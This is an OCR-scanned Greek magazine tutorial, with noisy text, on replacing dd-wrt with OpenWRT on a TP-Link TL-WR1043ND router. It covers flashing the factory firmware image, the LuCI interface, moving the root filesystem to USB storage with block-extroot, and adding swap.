δεν θα μπορούσαμε va προσπεράσουµε ἐτσι απλά, το OpenWRT. Τελικά, 
λοιπὸν, ασχοληθήκαµε και µε τους δύο κύριους παίκτες (dd-wrt και 
OpenWRT) κι εντοπίσαµε ὀλεςτις διαφορέςτους, τόσο τις πρακτικὲς ὁσο 
και τις φιλοσοφικές. Από την µια έχουμε το dd-wrt, που θέλει απλά va 
αντικαταστήσει το αρκετά περιορισμένο firmware της συσκευής µας. Anó 
την ἄλλη έχουμε το OpenWRT, που θέλει να μετατρέψει τον router µας 
σε ἐναν ολοκληρωμένο Linux server. 'Onoio και να επιλέξουμε η δουλειά 
μας θα γίνει εξίσου εὐκολα. Από "kei και πέρα εἶναι ζήτημα του χρήστη, 
το αν προτιμὰ να περιοριστεἰ σε ὁσα προσφέρει ro dd-wrt ἡ αν θέλει va 
περνάει ευχάριστα τα Κυριακάτικα απογεὐματὰ του, κάνοντας το router 
των 20 ευρώ να τρέχει Apache kai MySQL |) 


H ελευθερἰα των επιλογὠν 


O κύριος, αν ὀχι o µοναδικὀς, λὀγος nou ο γράφων αποφάσισε να 
εγκαταλείψει το dd-wrt για χάρη του OpenWRT, ἦταν η καθαρἠ εμπειρία 
Linux που δίνει το δεύτερο. Μη µας παρεξηγεῖτε, το dd-wrt εἶναι πολὺ 
καλύτερο απὀ το προεγκατεστημένο λειτουργικὸ Ἀκάθεχ router και 
προσφέρει πολλὰ περισσότερα απὀ ὁ,τι έχουμε συνηθίσει. Τα προβλήματα 
ξεκινούν όταν θέλεις να κάνεις κάτι παραπάνω απὀ αυτά που προσφἑρειτο 
dd-wrt. Αν κἄποιος θελήσει να κάνει KTI αρκετά περἰπλοκο θα συναντήσει 
μεγάλα εμπόδια, τα onoia πηγάζουν anó rov τρόπο που ἐχει αναπτυχθεί 
το dd-wrt. Ας πάρουμε για παράδειγµα rov kernel του συστήματος. O 
kernel εἶναι ἑνα κομμάτι που δύσκολα θα άλλαζε κἀποιος -- και ειδικἁ σ΄ 
αυτές TIG συσκευὲς εἶναι ακόµη δυσκολότερο va τροποποιηθεί. Ως va 
παράδειγµα του τι εννοούμε, δείτε πού κολλήσαμε εμείς: H ομάδα του 
dd-wrt εἰχε αποφασίσει να µην συμπεριλάβει τη δυνατότητα yia swap 
στον kernel του δικού µας router. Εμεἰς ὁμως θελήσαμε να περάσουμε 
κάποια προγράµµατα (optware, yia ὁσους θυμούνται) και η φυσικἠ 
μνήμη rou router δεν επαρκούσε :S Επομένως το swap ἦταν απαραίτητο, 
αλλὰ το dd-qrt δεν θα µας ro ἐδινε :S 


Σε σύγκριση µε ro dd-wrt, το OpenWRT προσφέρει πολλὲς περισσότερες 
ελευθερἰες. Με δικὀ του package manager και µια τεράστια κοινότητα 
γύρω του, TO OpenWRT δεν ἐχει τίποτα να ζηλέψει απὸ τις ἄλλες διανομὲς 
Linux! Κάπου εδώ, βέβαια, θα πεἰτε ὁτι εἶχαμε δει £vav τρόπο προκειµένου 
να εγκαθιστούµε πρὀσθετα προγράμματα στο dd-wrt. Αυτό εἶναι γεγονός, 


1. Τους ἄλλους δεν σας αγαπάμε! 


H ώρα του Üpenlrt 


αλλά εἰχαμε στηριχτεἰ σε περίεργα 
κόλπα, τα οποία κινούνταν ενάντια 
στη φύση του dd-wrt. Κάπως 
ἐτσι αποφασίσαμε να αφήσουμε 
οριστικἁ τις αλχημείες και να 
στραφούμε στο OpenWRT. 


Οδηγίες εγκατάστασης 


H εγκατάσταση γίνεται εὐκολα και 
γρήγορα, ὁπως ακριβώς γίνονται 
και οι επἰσηµες αναβαθμίσεις για 


WT 
TOV router µας. Προφανώς, αυτό 
που χρειαζόμαστε πρωτίστως εἰναι 


p Misa 
—— " 
£va router nou va υποστηρίζεται 


απὀ ro OpenWRT. Π’ το λὀγο αυτό θα χρειαστεἰ va συμβουλευτούμε το 
επἰσημο wiki (wiki.openwrt.onrg/toh/start) και να ελέγξουμε av το router 
μας υποστηρίζεται, αν πρὀκειται να υποστηριχτεί σύντομα ἡ αν πρέπει 
..Vd αλλάξουμε router. Πα τις ανάγκες του ἄρθρου χρησιµοποιήσαμε 
ἑνα TP-Link TL-WR1043ND. Κάνοντας µια σχετική αναζήτηση στο wiki, 
καταλήξαμε στην ακόλουθη σελἰδα: http://wiki.openwrt.org/toh/tp-link/ 
tl-wri043nd. Παρόμοια σελίδα θα βρούμε για οποιοδήποτε ἀλλο router 
και απὀ αυτήν θα μάθουμε για το αν υποστηρίζεται anó το OpenWRT. 
Ακόμα κι εκεἰ όμως, θα χρειαστεἰ προσοχή: Πα κάθε router κυκλοφορούν 
αρκετὲς διαφορετικἐς εκδοχὲς του OpenWRT. Πα παράδειγμα, το TP- 
Link TL-WR1043ND ἐχει 8 διαφορετικές εκδοχές! Ευτυχώς για µας, οι 
διαφορὲς αυτὲς αφορούν κυρίως στο σχεδιασμό TOU κουτιού κι ελάχιστα 
στα ηλεκτρονικἁ του router. Επομένως, ro firmware εἶναι ióio yia όλες 
τις εκδόσεις. Σε άλλες συσκευὲς εἶναι πιθανὀ η µια ἐκδοση απ΄ την ἄλλη 
va απαιτεἰ óiacoperikó firmware. Όλα αυτά βέβαια δεν τα λέμε yia va 
σπεΐρουμε rov πανικὀ. Στο wiki θα βρούμε ὁλα ὁσα πρέπει να ξέρουμε και 


TP-LINK 


Status 
Firmware Upgrade 


Quick Setup 
Ω55 


Firmware Upgrade Help 


Πα την παρουσἰασἠ 
μας στηριχτήκα- 
µε στο TP-Link 
TL-WR1043ND. 

Το συγκεκριµένο 
router προσφέρει 
Gigabit Ethernet 
και µια θύρα USB, 
την οποία kai θα 
αξιοποιήσουµε 
δεόντως! 


Η εγκατάστα- 

ση γίνεται εξ 
ολοκλήρου απὀ 

το μενού αναβάθ- 
µισης rou router. 
Αφού ανεβόσουµε 
το πακέτο µε TO 
νέο firmware, θα 
ξεκινήσει αυτόματα 
η εγκατάστασή TOU 
και θα ολοκληρω- 
θεί σε µερικά ÀE- 
nrá. Μετά απ’ αυτό 
--και κάνοντας 

£va refresh στον 
browser--, θα £p- 
φανιστεί μπροστά 
μας το νέο πάνελ 
διαχείρισης! 


300M Wireless N Gigabit Router 


Model No. 


L-WR1043N / TL-WR1043ND 


To upgrade the Router's firmware, follow these 


Network 
File: 


Firmware Version: 


Wireless 


DHCP 


Network Sharing μον 


Forwarding 


instructions: 


243/11-21-10-r15778Mfactory-to-ddwrt bin |, Durchsuchen. 
3.1155 Build 100427 Rel.61427n 
WR1043N v1 00000000 


1. Download a most recent firmware 
upgrade file from our website ( www.tp- 


link com ). 
2. Enter or select the path name where you 
save the downloaded file on the 


computer into the File Name blank. 


Security 

Parental Control 
Access Control 
Static Routing 
Bandwidth Control 
IP & MAC Binding 


Dynamic DNS 


System Tools 


3. Clickthe Upgrade button. 
4. The Router will reboot while the 
upgrading has been finished. 


Firmware Version 
firmware version. 


- Displays the current 


Hardware Version - Displays the current 
hardware version. The hardware version of the 
upgrade file must accord with the current 
hardware version. 


Note: The firmware version must correspond to 
the hardware. The upgrade process takes a few 
moments and the Router restarts automatically 
when the upgrade is complete. It is important to 
keep power applied during the entire process. 
Loss of power during the upgrade could 
damage the Router. 


2 


Στο OpenWRT Wiki 
αναφέρεται πως 
υπάρχουν αρκετές 
διαφορετικές EK- 
δόσεις του TP-Link 
TL-WR1043ND. 
Εμείς διαβάσαμε 
και τα σχόλια, για 
να βεβαιωθούμε 
ότι το OpenWRT 
υποστηρίζει σωστά 
*kai* τη δική µας 
έκδοση. 
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κυρίως éva link, για την ἐκδοση του OpenWRT που ταιριάζει στον router 
μας. Σημειώστε ωστόσο ὁτι οι σελίδες που φιλοξενούν το λειτουργικὀ 
βρίσκονται σε στάδιο αναβάθµισης και πολλά links δεν λειτουργούν. 
Εμεἰς δεν θα κολλήσουμε εκεί! Θα πρέπει να κρατήσουμε ro link κάπου 
πρὀχειρα, γιατὶ θα µας βοηθήσει να εντοπἰσουµε τη ζητούμενη ἐκδοση 
του OpenWRT. Αναρωτιέστε nou θα την αναζητήσουμε; Θα χρειαστεί va 
επισκεφτούµε TO downloads.openwrt.org. Πρόκειται για ἑνα anAó index, 
ενὸς καταλόγου αρχείων. Ξεκινάμε επιλέγοντας noia ἐκδοση του Open- 
WRT θέλουμε. lia την opa προσφέρονται οι ακόλουθες τρεις: 


e Kamikaze 
e Backfire 
e Attitude Adjustment 


Πρὀκειται για τρία codenames των εκδόσεων που ¿xouv κυκλοφορήσει 
μέχρι τώρα. To Kamikaze αποτελεἰ την πρώτη ἐκδοση, ενώ το Attitude 
Adjustment αναμένεται να κυκλοφορήσει σύντομα και για την opa 
βρίσκεται σε στάδιο beta. Εμεὶς ενδιαφερόµαστε για ro Backfire κι ¿TOI 
επιλέγουμε τον αντίστοιχο φάκελο. H ομάδα του OpenWRT ακολουθεἰ 
παρόμοια ονοματολογία µε το Ubuntu?. Το Backfire κυκλοφόρησε ως 
OpenWRT 10.03 κι απὀ τότε ἐχει βγει ακόμη µια αναβάθμιση (OpenWRT 
10.03.1). Προφανώς θα πρέπει να επιλέξουμε τη δεύτερη. Ekei θα βρούμε 
μια νέα λίστα καταλόγων, καθένας anó τους οποίους αντιστοιχεἰ σε 
κάποιο SoC?. Τώρα θα χρειαστεί va συμβουλευτούμε ro link που βρήκαμε 
προηγουμένως, στη σελἰδα rou wiki. Αυτό το link θα περιέχει τον φάκελο, 
ο οποίος θα δείχνει ποιο SoC χρησιμοποιεί ο router µας. 


Γη TP-Link TLWRIDIND - € x V. 
e fi D) wiki.openwrtorg/to tp- 


Release OpenWrt Version 
Version/Model| S/N Model Specific Notes 
Supported 


v1.1  Backfire 10.03.1 Similar to WR941ND. 


v14 - Backfire 10.03.1 Same v1 board as v1.1 
| v1.5 - Backfire 10.03.1 Same v1 board as v1.1 
| νιθ - Backfire 10 03.1 Similar 
Ἡ vi - Backfire 10.03.1 Similar 
| 
Tested OK with trunk 
| νεῷ - Similar 
133288 
| : = : = ΕΕ 
| Tested OK with 
1.90 E Unknown 
i Backfire 10091 
(DE)v1. o. Β Backfire 10.03.1 E German WebUl 
(DEVI .4 5 Attitude Adjustment | Similar, German WebUl, V1. ET in 
i 12.00-beta2 S/N sticker 


The supported versions include future releases, unless otherwise stated. The versions above 
indicate the first version that such device is officially supported. 


Hardware Highlights 


2. Αντί για χαριτωμένα ονόματα anó ζωάκια, όμως, δίνει ovópara απὀ ποτά-μπόμπες! Αγαπημένο µας εἶναι το 
Attitude Adjustment. 

3. System On a Chip, δηλαδή όλο ro hardware όπως CPU, RAM κι απαραίτητοι controllers για τη λειτουργία 
ενός συστήµατος. 


H ώρα του Üpenlrt 
ri 


[È Index of /bacifire/10031. κ. 
€ > Q fi |O downloadsopenwrtorg/backfire/10.03.1/ar71xx/ ——— - ELTE 


openwrt-ar7lxx-pb44-iffs2-sysupgrade.bin 21-Dec-2011 0110: Ἴ I e 
xx-pb44-kernel.b 21-Dec-201. οἱ E J 
n 21-Dec-2011 
Xxx-pb44-rootfs fs.bin 21-Dec-2011 
xx-pb44-squash: upgrade.bin 21-Dec-2011 
Xx-root.jffs2-128k 21-Dec-2011 
Gpenwrt-ar7lxx-root,iffs2-64k 21-Dec-2011 
openwrt-ar7lxx-root.squashfs 21-Dec-2011 01: 
openwrt-ar71xx-root.squashfs-4k 21-Dec-2011 
z 21-Dec-201. 
xx-tew-632brp-squashfs-factory.bin 21-Dec-2011 
xx-tew-632brp-squashfs-svs 3 21-Dec-2011 
xx-tew-652brp-recovery-squ s-fac..» 21-Dec-2011 
21-Dec-201 
21-Dec-201 
21-Dec-2011 
21-Dec-2011 
21-Dec-2011 
2 21-Dec-2011 
21-Dec-2011 
I7l1xx-tl-wr740n-vi-squashfs-facto: n 21-Dec-201. 
7 üfs-sysupgrade..» 21-Dec-2011 


3407872 
2097152 
3080192 
3538944 
3407872 
2097152 
2039812 
2517012 
3866648 
2949124 
3266648 
2949124 = 
3866648 
2949124 
$932160 
3350532 
8126464 P 
3407872 
3932160 
3350532 
3932160 
3350532 
3932160 
3407872 
3932160 
3407872 
3932160 
3350532 
3932160 
3407872 
3932160 
3407872 
3932160 
3350532 
1242915 
894216 
4456856 
4456448 - 


1-Dec-2011 
21-Dec-2011 
vi-squashfs-svsupgrad..» 21-Dec-2011 
v5-squashfs-factory.bin 21-Dec-201: 

..> 21-Dec-2011 
21-Dec-201. 
21-Dec-201. 
21-Dec-201 
21-Dec-2011 
21-Dec-201. 
21-Dec-2011 01: 
21-Dec-2011 01: 
-lzma.bin 21-Dec-2011 01: 
ullet-m-iffs2-factorv.bin 21-Dec-2011 01: 
ullet-m-jiffs2-sysupgrade.bin 21-Dec-2011 01: 


Έχοντας βρει το SoC και εισέλθει στον αντίστοιχο κατάλογο, θα 
συναντήσουμε µια μεγάλη λίστα µε *oóAÀa* ra routers, όλων των 
κατασκευαστών, τα onoia βασίζονται στο συγκεκριµένο SoC. Θα χρειαστεὶ 
να εντοπίσουµε το αρχείο που προορίζεται yia το δικὀ µας hardware. 
Αυτἠ τη φορά αρκεί να χρησιμοποιήσουμε την ενσωματωμένη αναζήτηση 
TOU browser και να εισαγάγουµε το μοντέλο της συσκευἠς. Στη δικἠ µας 
περίπτωση, κάνοντας όλα τα παραπάνω, βρήκαμε δύο αρχεία: To ἑνα 
περιέχει στο ὀνομά του το χαρακτηριστικὀ «sysupgrade» και το ἆλλο 
το «factory». Ὅπως μαρτυρά και ro ὀνομα, το va Χρησιμοποιείται όταν 
θέλουμε να περάσουμε πρώτη φορά το λειτουργικὸ στο router µας και 
το ἄλλο ὀταν θέλουμε απλὠς va αναβαθμἰσουµε το OpenWRT. Όπως 
αντιλαμβάνεστε, το αρχείο που κατεβάσαμε τελικἀ ἠταν το openwrt- 
ar71xx-tl-wr1043nd-vi-squashfs-factory.bin. 


'Exovrag βρει και κατεβάσει επιτέλους το σωστὸ firmware, μπορούμε va 
ανοἰξουµε τη σελἰδα του router µας. Εκεἰ πρέπει να βρούμε το εργαλείο 
της αναβάθμισης. Στη δικἠ µας περίπτωση χρειάστηκε να πάμε στο 
μενού System tools και anó "kei στο Firmware upgrade. Νομίζουμε ὁτι 
η συνέχεια εἶναι προφανἠς: Επιλέγουµε το αρχείο nou κατεβάσαμε και 
πραγματοποιούµε το upgrade. Σε αυτό το σημείο να πούμε Ori εἶναι πολὺ 
σημαντικὀ να µην πειράξουμε καθόλου το router, για όσο θα διαρκεἰ η 
αναβάθµιση. Μόλις τελειώσει TO φλασάρισμα, μπορούμε να πιούμε µια 
γουλιά anó τον καφὲ ἡ την πορτοκαλάδα µας. Τα δύσκολα πἐρασαν! 


Πρώτη επαφἠ 


To router µας θα τρέχει πλέον το OpenWRT. Αν κάνουμε ἑνα refresh 
στη σελίδα, θα εμφανιστεὶ το ανανεωμένο web interface µε το πάνελ 
διαχείρισης του OpenWRT. Όπως θα προσέξετε, εµφανίζεται ἑνα μεγάλο, 
κόκκινο θαυμαστικὀ, nou µας ειδοποιεἰ ὁτι πρέπει να ορίσουμε ἄμεσα 
£vav κωδικὀ πρόσβασης yia το χρήστη root. Πάντως auró µπορεί να γίνει 


Χρησιμοποιήσαμε 
την ενσωµματω- 
μένη αναζήτηση 
του Chrome, yia 
να βρούμε εὐκολα 
τα δύο αρχεία που 
αντιστοιχούν στον 
router µας. Αρκετά 
πιο εὐκολο απὀ το 
να τα ψάχνουμε 
HE το χέρι, δεν 
συμφωνείτε; 
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Το OpenWRT μὰς 
ενημερώνει ότι δεν 
υπάρχει κωδικός 
για το χρήστη root. 
Εμείς όμως δεν του 
δίνουμε σημασία 
και συνεχίζουμε 
την περιπέτειά µας. 
Θα rov προσθέ- 
coupe αργότερα, 
όταν θα έχουμε 
τελειώσει µε τα 
πολλά-πολλά. 


V'HACGKER 


ÁN 


ΓῚ OpenWrt - LuCI x 


€ 2C fi D 192168.1.1/cgi-bin/luci - E na - 


OpenWrt | OpenWrt Backfire 10.03.1 | Load: 0.11 0.10 0.04 


| 
No password set! | 
There is no password set on this router. Please configure a root password to protect the web interface and enable SSH. | 
Go to password configuration... 


Authorization Required 


Please enter your username and password. 


f 
| Username 


} Password 


Reset! ((BiLogin 


Powered by LuCI 0.10.0 Release (0. 


και λίγο αργότερα, µε την προὐπόθεση βέβαια ὁτι δεν θα το ξεχάσουμε! 
Πα την opa μπορούμε va συνδεθούμε κάνοντας κλικ στο Login. Δεν 
θα το κρύψουμε: Το περιβάλλον που θα εμφανιστεί ομοιάζει µε εκεἰνο 
του dd-wrt. Αυτό το γεγονὸς ενδέχεται να απογοητεύσει ὀσους ἑκαναν 
πρόσφατα τη μετάβαση anó ro éva λειτουργικὀ στο ἄλλο. Μάλιστα, TO 
OpenWRT μοιάζει να προσφέρει λιγότερες ρυθμίσεις και προγράμματα. 
Μην ανησυχείτε καθόλου. Αυτό θ’ αλλάξει πολύ σύντομα! 


Στη σελἰδα Status μπορούμε να δούμε ὁλες τις πληροφορἱες για το rout- 
er µας, anó το πόσοι και ποιοι υπολογιστές εἶναι συνδεδεμένοι μέχρι 
το Syslog και το kernel log του OpenWRT. Επίσης μπορούμε να δούμε 
τα processes, την κατάσταση του firewall και φυσικἁ το routing και το 
ARP table! Όλες οι ρυθμίσεις της συσκευἠς πραγματοποιούνται anó 
την καρτέλα «System» κι εδὠ εἶναι που θα περνάμε rov περισσὀτερὀὸ 
χρόνο µας. Οἱ ρυθμίσεις για το LAN και το wireless LAN βρίσκονται στην 
καρτέλα «Network». Anó αυτήν μπορούμε va ρυθµἰσουμε τα πάντα: Anó 
TOV κωδικὀ του WiFi, μέχρι και το routing του δικτύου. Φυσικά ὁλες οι 
ρυθμίσεις πρέπει να γίνονται µε ιδιαίτερη προσοχἠ γιατὶ υπάρχει κίνδυνος 
να κλειδωθούμε απ’ ἐξω! Και µε αυτά, οι βασικἐς ρυθμἰσεις του Open- 
WRT εξαντλούνται. Απὸ εδὠ και πέρα, εἶναι στο χἐρι του χρήστη να 
εγκαταστήσει ὁ,τι ἄλλο χρειάζεται. O ενσωματωμένος χώρος του router 
αρκεἰ και µε το παραπάνω yia εφαρμογὲς ὁπως OpenVPN/PPTP server, 
dynamic DNS updater κ.ά. Όλα αυτά όμως εἶναι πράγματα απλἀ. Εμείς 
βάλαμε το OpenWRT αναζητώντας το KATI παραπάνω... 


Προς αναζήτηση χώρου 


Στο δικὀ µας router η ενσωματωμένη μνήμη εἶναι πολὺ περιορισμένη. 
Επομένως, η μετατροπἠ rou router σε £vav *kavovikÓ* Linux server ήταν 
κάπως δύσκολη. Γενικότερα, το σημαντικότερο πρὀβλημα aurov των 
συσκευών εἶναι η περιορισμένη μνήμη RAM κι ο μικρὸς αποθηκευτικὀς 


H ώρα του Üpenlrt 
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πε 


ΓῚ OpenWrt - Software - LuC x 


€ — C $i D) 192:168.1.1/cgi-bin/luci/stok-3129255d6ffb3c78cfa962b8b0747b60/admin/system/packages Z me SA 
| 


OpenWrt | OpenWrt Backfire 10.03.1 | Load: 0.04 0.06 0.03 Changes: 0 | 


There is no password set on this router. Please configure a root password to protect the web interface and enable SSH. 
Go to password configuration... 


Software 


Actions || 


| Displaying only packages containing "block-" — Reset 
Free space: 89% (4.15 MB) 


Download and install package: 


l | Fiter: LglFind package 


Installed packages (block-) ποπ τη 
i Version 
0.0.1-2.1 
0.1.0-2.2 
0.1.0-2.2 


Package name 
block-extroot 
block-hotplug 
block-mount 


| Remove 
| Remove 
i Remove 


Powered by LuCI 0.10.0 Release (0.10.0) 


Χώρος. Πα το λὀγο αυτό, αν θέλουμε va κάνουμε κάτι πιο προχωρημένο, 
πρέπει να δημιουργήσουμε χώρο. Αυτό επιτυγχάνεται μεταφέροντας το 
root filesystem του συστήματος σε κάποιον εξωτερικὀ σκληρὀ, ἡ τέλος 
πάντων, σε κἀποιο ἆλλο αποθηκευτικὀ μέσο! 


Πριν προχωρήσουμε, πρέπει να μιλήσουμε για το αποθηκευτικὀ μέσο 
nou θα χρειαστούμε. H απλούστερη λύση εἶναι ἑνα USB flash disk των 
4 ἡ 8GB. Βέβαια, αυτά ra μέσα δεν εἶναι φτιαγμένα για πολλὲς και 
απανωτὲς εγγραφές και µε το χρόνο ενδέχεται να χαλάσουν. To Open- 
WRT εἶναι ειδικἁ σχεδιασμένο για να εγκαθἰσταται και να λειτουργεί σε 
flash, αλλά θα πρέπει να προσέξουμε ποιες εφαρμογἐς εγκαθιστούμε. Av 
π.χ. αποφασίσουµε να σηκώσουμε κἀποια βάση”, τότε καλὀ θα ἦταν va 
χρησιμοποιήσουμε ἑνα σκληρὀ δίσκο. 


Ας επιστρέψουµε τώρα στο θέμα µας. Όπως αναφέραμε, πρέπει να 
εξοικονοµήσουµε χώρο κι αυτό προὐποθέτει τη μετακίνηση του root file- 
system. Ας πάρουμε τα πράγματα anó την αρχἡ. Κατά την εγκατάσταση 
του OpenWRT δημιουργούνται δύο partitions στον αποθηκευτικὀ χώρο 
του router: H μία περιέχει τα αρχεία nou αντιγράφονται κατὰ ro firm- 
ware upgrade, ενώ η ἄλλη λειτουργεἰ σαν δικλείδα ασφαλείας. Πάνω 
σε αυτήν περιγράφονται οι αλλαγὲς που πραγματοποιεί ο χρήστης στο 
σύστημα. Με αυτὸν τον τρόπο, αν κάτι πάει πολύ στραβὰ το σύστημα 
μπορεἰ va στραφεί στην πρώτη κατάτμηση κι εκεἰ θα υπάρχει µια πλήρως 
λειτουργικἡ εκδοχἠ του συστήματος! E, λοιπὸν, εμεὶς θα μεταφέρουμε 
το δεύτερο partition σε κἄποιο ἆλλο αποθηκευτικὀ μέσο, µε µεγαλύτερη 
χωρητικότητα. Ἔτσι θ΄’ αποκτήσουμε μεγάλη euxépeia κινήσεων και θα 
μπορούμε να προσθέτουμε στο σύστημα οτιδήποτε θέλουμε. 


Αφού επιλέξουμε κἀποιο µέσο αποθήκευσης, σειρὰ ἐχει το partition- 
ing. Σε γενικὲς γραμμές, χρειαζόμαστε κάτι πολύ απλὀ: Θέλουμε µια 


4. Πέρασε απ’ το δικό µας μυαλό, απ’ το δικὀ σας δε θα περάσει; 


Εγκαθιστούµε τα 
βασικά προγρἀάμµα- 
τα για τη λειτουρ- 
yia των εξωτε- 
PIKOV συσκευών 
αποθήκευσης. Πα 
την ακρίβεια, στην 
εικόνα φαίνεται 
πως éxouv ήδη 
εγκατασταθεί :) 


31 


32 


Ορίζουµε το νέο 
root filesystem 
TOU συστήµατος. 
Όλα ra αρχεία θα 
πάνε στη μεγάλη 
κατάτμηση της 
κάρτας μνήμης, 
που συνδέσαµε 
µέσω USB. 


WV'HAGIKER 


ÁN 


l-le 


[5 OpenWrt - ως x 


e> Cfi D) 192168.1.1/cgi-bin/luci/sstok-3129255d6ffb3c78cfa96ab8b0747b60/admin/system/fstab/mount, e mu =| 


Changes: 0 


No password set! 
router. Please configure a root password to protect the web interface and enable SSH. 


Mount Points - Mount Entry 


Mount Entry 


General Settings 
Enable this mount Ν] 


Device dev/sda1| 
Ὁ The device file of the memory or partition (ε.ᾳ. /dev/sda1) 


Filesystem [ex3 


Use as root filesystem E @ Configures this mount as overlay storage for block-extroot 


Run filesystem check E @ Run a filesystem check before mounting the device 


[Back to Overview. ØReset Save Save & Apply 


για TO swap. Εμεὶς χρησιµοποιήσαμε µια κάρτα 4GB SD Class 6, anó µια 
παλιὰ φωτογραφικἡἠ μηχανή. Πα τη σὐνδεσὴ της χρησιμοποιήσαμε ¿va 
μικροσκοπικὀ μετατροπέα USB. Πα το partitioning χρησιμοποιήσαμε το 
γνωστὀ GParted^. Αφού δημιουργήσαμε µια κατάτμηση των 128MB yia το 
swap, φτιάξαμε ἄλλη μία µε τον εναπομείναντα χώρο. 


Μετάθεση του rootfs 


Πα να πετύχουμε το στὀχο µας θα χρειαστούμε ορισμένα εργαλεία. 
Αρχικἁ λοιπὸν πηγαίνουμε στην καρτέλα System και στο μενού Soft- 
ware. Anó εκεὶ μπορούμε va εγκαταστήσουµμε ὀποιο πακέτο θέλουμε, 
αρκεί να υπάρχει στο repository του OpenWRT. Εμείς πατάμε στο Update 
lists, για να ενημερωθεί η λίστα των διαθέσιμων πακέτων. Στη συνέχεια, 
χρησιμοποιώντας το πεδίο Filter, εντοπἰζουμε και εγκαθιστούμε τα 
παρακάτω πακέτα: 


kmod-usb-storage 
kmod-fs-ext3 
block-mount 
block-hotplug 
block-extroot 


Όπως καταλαβαίνετε, τα πρὠτα πακέτα προσθέτουν υποστήριξη για 
συσκευὲς αποθήκευσης USB και yia το σύστημα αρχείων EXT3. Τα 
υπόλοιπα σχετίζονται µε τη διαχείριση συσκευών, ὁπως εἶναι oi σκληροὶ 
δίσκοι, οι μνήμες flash k.à. Μετά απὀ αυτὲς τις προσθἠκες μπορούμε να 
συνδἑσουµετο v£&o µας αποθηκευτικὀ μέσο. Ακολούθως πατάµετο κουμπὶ 
Enable yia ro fstab, στο μενού Startup. Αμέσως μετά µεταβαίνουμε στην 
καρτέλα System και κάνουμε κλικ σε µια νέα επιλογἠ που θα βρούμε 
εκεἰ: τη Mount Points. Όπως προδίδει και το ὀνομα της επιλογής, anó 


5. Το GParted αποτελεἰ ¿vav απὀ τους καλύτερους partition managers rou κόσμου! 


H ώρα του Üpenlrt 
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σπα ER, 
[i OpenWrt - Administrator x 
€ > Q få D 19216811/cgi-bin/luci/;stok-3129255d6ffb3c78cfa96ab8b0747b60/admin/system/admin/ v | = 


| 
OpenWrt | OpenWrt Backfire 10.03.1 | Load: 0.02 0.05 0.02 
Status | System | Network Logout 
| 


System | Administration | Software — Startup Scheduled Tasks — MountPoints LED. Configuration — Backup / Flash Firmware 


No password set! 
There is no password set on this router. Please configure a root password to protect the web interface and enable SSH. 
Go to password configuration... 


Router Password 


Changes the administrator password for accessing the device 


Password 


| | Confirmation 


SSH Access 


A a 


&jDelete | 


Interface D lan: A 
wan: 55 


© unspecified 


(B) Listen only on the given interface or, if unspecified, on all 


Specifies the listening port of this Dropbear instance 


gem οφ Γη 


£00 μπορούμε να κάνουμε τα πάντα σε σχέση µε την προσάρτηση και 
την αποπροσάρτηση των αποθηκευτικὠν μέσων. Εμείς λοιπὸν δεν έχουμε 
παρά να προσθέσουµε την κατάτμηση του αποθηκευτικούὐ µας μέσου, 
στην οποία θα μεταφερθεὶ το root filesystem. Πρακτικά, θέλουμε va 
προσθέσουμε στο πινακἁκι Mount Points την κατάτμηση EXT3. Πα το 
σκοπὀ αυτό πατάμε αρχικἁ στο Add. Μετὰ επιλέγουμε ro Enable this 
mount κι απὸ το dropdown μενού επιλέγουμε την κατἀτμησὴ µας (π.Χ, 
/dev/sda1). Τέλος, ενεργοποιούµε το Use as root filesystem. Αυτό ἦταν 
όλο! Περιμένατε kári πιο δύσκολο; Πα va ενεργοποιηθούν οι αλλαγές µας, 
πηγαίνουμε στο μενού Reboot κι επανεκκινούµε τον router µας. Μετά την 
επανεκκίνηση η συσκευή θα εἶναι στην ἴδια ακριβώς κατάσταση, ὀπως 
ἠταν μετὰ anó την εγκατάσταση του OpenWRT. Αυτό συμβαίνει επειδἠ 
το παλιὸ overlay, που περιείχε τις ρυθμἰσεις µας, ἐχει βγει σε αχρηστία 
κι ἐχει ενεργοποιηθεἰ ἑνα νέο, καθαρὀ. Με λίγα λόγια, δεν πρέπει va 
ανησυχήσουμε. Τώρα μπορούμε va εγκαταστήσουμε οτιδήποτε θέλουμε! 
Και στην περίπτωση που πάει κάτι στραβά, αρκεἰ να αποσυνδέσουµε το 
αποθηκευτικὀ µας μέσο και να κάνουμε µια επανεκκίνηση. Το OpenWRT 
θα επιστρέψει στο παλιὀ overlay και όλα θα εἰναι καλά! 


Βασική ρύθμιση και Boup στο παιχνἰδι 


To router εἶναι ἐτοιμο να φιλοξενήσει δεκάδες ΜΒ δεδοµένων ἡ, τέλος 
πάντων, ὁσα προγράμματα και δεδομένα χωράνε στον πρὀσθετο 
αποθηκευτικὀ χώρο! Πριν απ΄ όλα, όμως, πρέπει να ενεργοποιήσουμε 
την κατάτμηση rou swap. Μ΄ αυτόν τον τρόπο θα αυξηθεί η μνήμη 
του συστήματος -- τουλάχιστον εικονικἀ. Έτσι, το OpenWRT δεν θα 
μπορεὶ μόνο να φιλοξενήσει πολλὰ προγράμματα, αλλά και να τα 
τρέχει! Πα να ενεργοποιήσουμε το swap, λοιπὸν, ξεκινάμε και πάλι µε 
την ενεργοποίηση rou fstab. Μετά ξαναπάμε στην καρτέλα System 


6. Αν δεν εἰμαστε σίγουροι μπορούμε να το καταλάβουμε απ’ το μέγεθος κάθε κατάτµησης, που εμφανίζεται 
δίπλα σε κάθε επιλογἠ της λίστας. 


Αφού ξεμπερ- 
δέψουµε µε TIG 
επεμβάσεις µας, 
μπορούμε va puð- 
µίσουµε τον κωδικό 
του χρήστη root. 
Αυτό επιτυγχάνε- 
ται απὀ το μενού 
Administration. 


WVHAGKER 


ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΑΝΑ ΧΑΑ ΧΑ ΧΧΧ ΧΧΧ ΧΑ ΧΧΧ ΧΧΧ ΧΧΧ ΧΧΧ ΧΑΑ 


Φυσικά, TO ρουτε- 
páki µας δέχεται 
πλέον και συνδὲ- 
σεις SSH. Πα τη 
σύνδεση μπορούμε 
va χρησιμοποιή- 
σουµε TO λογαρια- 
σμὀ του χρήστη 
root. 


, 
gf 192.168.1.1 - PuTTY C=O x 


κ A 


και κάνουμε κλικ oro Mount Points. H προσθήκη rou δικού µας swap 
γίνεται στο τελευταίο nivakàki. Πατάμε Add, βεβαιωνόμαστε ὁτι ro En- 
able this swap εἶναι τσεκαρισµένο κι επιλέγουμε το μικρό partition του 
αποθηκευτικού µας χώρου. Κάνοντας va κλικ στο Save and Apply οι 
